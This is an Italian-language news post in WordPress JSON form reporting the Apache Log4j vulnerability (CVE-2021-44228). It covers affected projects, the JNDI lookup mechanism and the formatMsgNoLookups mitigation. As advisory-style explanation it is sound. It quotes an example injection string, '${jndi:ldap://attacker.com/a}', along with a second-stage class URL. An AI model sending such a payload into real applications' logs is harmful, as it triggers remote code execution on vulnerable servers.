{"id":102562,"date":"2021-12-10T09:36:48","date_gmt":"2021-12-10T07:36:48","guid":{"rendered":"https:\/\/prohoster.info\/blog\/novosti-interneta\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty"},"modified":"2021-12-10T09:36:48","modified_gmt":"2021-12-10T07:36:48","slug":"katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","status":"publish","type":"post","link":"https:\/\/prohoster.info\/it\/blog\/news\/katastroficheskaya-uyazvimost-v-apache-log4j-zatragivayushhaya-mnogie-java-proekty","title":{"rendered":"Vulnerabilit\u00e0 catastrofica in Apache Log4j, che colpisce molti progetti Java","gt_translate_keys":[{"key":"rendered","format":"text"}]},"content":{"rendered":"

In Apache Log4j, un popolare framework per la gestione dei log nelle applicazioni Java, \u00e8 stata identificata una vulnerabilit\u00e0 critica che consente di eseguire codice arbitrario scrivendo un valore formattato nel log nel formato \u00ab{jndi:URL}\u00bb. Un attacco pu\u00f2 essere condotto su applicazioni Java che registrano nel log valori ottenuti da fonti esterne, ad esempio durante la visualizzazione di valori problematici nei messaggi di errore. <\/p>\n

Si segnala che quasi tutti i progetti che utilizzano framework come Apache Struts, Apache Solr, Apache Druid o Apache Flink sono vulnerabili, incluso Steam, Apple iCloud, i client e i server del gioco Minecraft. Si prevede che questa vulnerabilit\u00e0 possa portare a una serie di attacchi di massa sulle applicazioni aziendali, ripetendo la storia delle criticit\u00e0 nel framework Apache Struts, che secondo stime approssimative viene utilizzato nel 65% delle applicazioni web delle aziende nella lista Fortune 100. Sono gi\u00e0 state registrate tentativi di scansione della rete per individuare sistemi vulnerabili. <\/p>\n

Il problema \u00e8 aggravato dal fatto che \u00e8 gi\u00e0 stato pubblicato un exploit funzionante, ma al momento le correzioni per i rami stabili non sono state formulate. L'identificativo CVE non \u00e8 ancora stato assegnato. La correzione \u00e8 inclusa solo nel ramo di test log4j-2.15.0-rc1. Come soluzione temporanea per bloccare la vulnerabilit\u00e0, si raccomanda di impostare il parametro log4j2.formatMsgNoLookups su true. <\/p>\n

Il problema \u00e8 stato causato dal fatto che log4j supporta l'elaborazione di maschere speciali \u00ab{}\u00bb nelle stringhe registrate nel log, in cui potrebbero essere eseguite query JNDI (Java Naming and Directory Interface). L'attacco consiste nell'inviare una stringa con la sostituzione \u00ab${jndi:ldap:\/\/attacker.com\/a}\u00bb, durante l'elaborazione della quale log4j invier\u00e0 a server<\/a> richiesta LDAP a attacker.com per il percorso della classe Java. Il percorso restituito server<\/a> dall'attaccante (ad esempio, http:\/\/second-stage.attacker.com\/Exploit.class) sar\u00e0 caricato ed eseguito nel contesto del processo corrente, consentendo all'attaccante di ottenere l'esecuzione di codice arbitrario nel sistema con i diritti dell'applicazione corrente. <\/p>\n

Appendice 1: Alla vulnerabilit\u00e0 \u00e8 stato assegnato l'identificativo CVE-2021-44228. <\/p>\n

Appendice 2: \u00c8 stato identificato un modo per aggirare la protezione aggiunta nella versione log4j-2.15.0-rc1. \u00c8 stato proposto un nuovo aggiornamento log4j-2.15.0-rc2 con una protezione pi\u00f9 completa contro la vulnerabilit\u00e0. Nel codice \u00e8 evidenziata la modifica relativa all'assenza di un arresto anomalo in caso di utilizzo di un URL JNDI formattato in modo errato.
\n
Fonte: opennet.ru<\/a> <\/p>","protected":false,"gt_translate_keys":[{"key":"rendered","format":"html"}]},"excerpt":{"rendered":"

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